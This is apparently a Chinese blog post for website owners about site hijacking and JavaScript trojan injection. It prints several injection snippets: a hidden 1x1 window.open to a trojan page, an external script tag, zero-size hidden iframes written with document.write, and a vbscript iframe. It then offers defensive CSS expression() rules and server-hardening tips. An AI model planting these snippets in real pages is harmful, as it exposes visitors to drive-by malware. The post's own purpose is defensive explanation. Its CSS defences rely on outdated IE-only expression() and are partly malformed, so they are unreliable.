相信很多的朋友都有遇见过,通过百度快照访问一个网站被跳转到另一个目标网站。
这就说明网站被劫持了,那么黑客为什么要劫持这些网站呢?黑客一般选择什么样的网站下手?下面我们就一起分析一下。
首先黑客一般都会选择信息类网站,购物网站等,因为这些网站的IP高,劫持这些网站能达到他们的引流目的。我们这来做一个假设,如果有100个用户准备访问A网站,但都被劫持到B网站了,那么只是会有10%的用户会对B网站产生兴趣,那么他们的引流目的就达到了,对于A网站而言,他们就损失了部分用户,这是他们不愿看见的,所以他们是很痛恨黑客的。
当然被黑客劫持的网站往往他们都会引流到一些菠菜类的网站,相信很多人看了都会有去搏一搏的心态,一玩不要紧,如果你的控制能力很差的话,那么你就深深的陷入了,这是一个吃人不吐骨头的,这里还是温馨的提醒大家 不要有赌博的心态,不说题外话了,下面我们就一起来看看所谓的木马。
首先,我们需要弄清楚黑客一般是通过哪些渠道来给网站挂木马的。
1.通过漏洞(例如一个软件的漏里,给你的服务器上传一些命令脚本)
2.破解你的服务器账号密码,创建子用户,任意上传脚本文件
这里我来例举一些常见的木马脚本命令:
现在最多见的JS挂马方法有两种,一种是直接将JavaScript脚本代码写在网页中,当访问者在浏览网页时,恶意的挂马脚本就会通过用户的浏览器悄悄地打开网马窗口,隐藏地运行。
这种方法使用的关键代码如下:
window.open("http://www.mahaixiang.cn/木马.html","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");
这种代码往往很长,很容易被安全工程师发现,而且没有经验的黑客也喜欢将“width”和“height”参数设为“0”,但是设置为0后,可能会出现恶意代码不运行的情况。
另外一种JS挂马方式是,黑客先将挂马脚本代码“document.write('<Iframe src="网页木马地址" ></iframe>')”,写入Windows中的写字板另存为后缀为.js的脚本文件,并上传到自己指定的网址。这时黑客只需要在受害者 的网站中写入:
<script src="http://www.mahaixiang.cn/木马脚本.js"></script>
或者
document.write("<div style='display:none'>")
document.write("<iframe src="网页木马地址" width="0" height="0" scrolling="no" frameborder="0"></iframe>")
document.write("</div>")
还有这种方式
<iframe src="vbscript:[挂马脚本]">
这个图大家都能看明白,这就黑客的攻击流程。
其次,当我们发现自己的网站被挂马了,改如何来做呢?
当你的网站文件不是很多时,那么你可以一个一个来查看,看见陌生的代码,这时你就需要注意了,有可能就是木马了。
那么如果你的文件有成千上万个,自己一个一个的看那不是要看到眼花,这里我给大家推荐一款免费的查找工具护卫神,下面我把工具分享给大家需要可以下载
这里面,是有三款软件,其一就是木马查找工具,已经防篡改工具,及防攻击的
上面介绍的是用工具来防止被挂马,那么我们通过代码来如何实现呢,一起来看看
防第一种JS挂马方式,不方便,用得非常少,而第二种JS挂马方式才是当前主流的,所以我们主要针对它进行防御。方法就是阻止Src请求的异地外域的JS脚本,代码如下:
iframe{mdy1:expression(this.src='about:blank',this.outerHTML='');}
script{mzm2:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木马被成功隔离!'):'');}
不过这种方法的缺点就是网站的访问者将不能看到被挂了JS木马的相关网页。
所以我们为安全工程师提供了一段可以中止JS脚本运行的CSS代码,这段代码会让异地外域的JS文件在使用document.write()时,被 document.close()强制关闭。这个时侯JS挂马的内容往往还没有来得及写完,只有部分被强制输出了,Writer后面的内容再不会被写入访 问者的电脑中,从而起到防范JS脚本挂马的作用。
让JS木马的进程迅速中止
在 <head> </head> 之间加入如下代码:
屏蔽script和iframe
<style type="text/css" id="LinrStudio">
/*<![CDATA[*/
iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}
script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');
/*]]>*/
</style>
单屏蔽script
<style type="text/css" id="LinrStudio">
/*<![CDATA[*/
/*iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}*/
script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');}
/*]]>*/
</style>
通过添加一个代码来防止被被人挂马。
下面我就给大家分享一下如何做好服务器安全工作:
1.对项目文件增加读写权限
2.服务器的密码不要用什么root,admin,123456这些很容易被试出来的,相信很多人都是用这个密码吧。
3.服务器限制IP登录,一般登录服务器基本上都是那么两个人可以设置白名单,其他的一律禁止登录
4.不定期的维护等
5.当然如果你们公司有钱,也可买付费产品,他们能防止的很多,我看阿里云的安骑士专业版一年的费用都是好几千,还不算其他的一些产品,相信很多的小公司,都不愿出这个钱,所以大家还是努力做好自己的防护措施。
Q群【308742428】大家一起讨论技术。
后面会不定时为大家更新文章,敬请期待。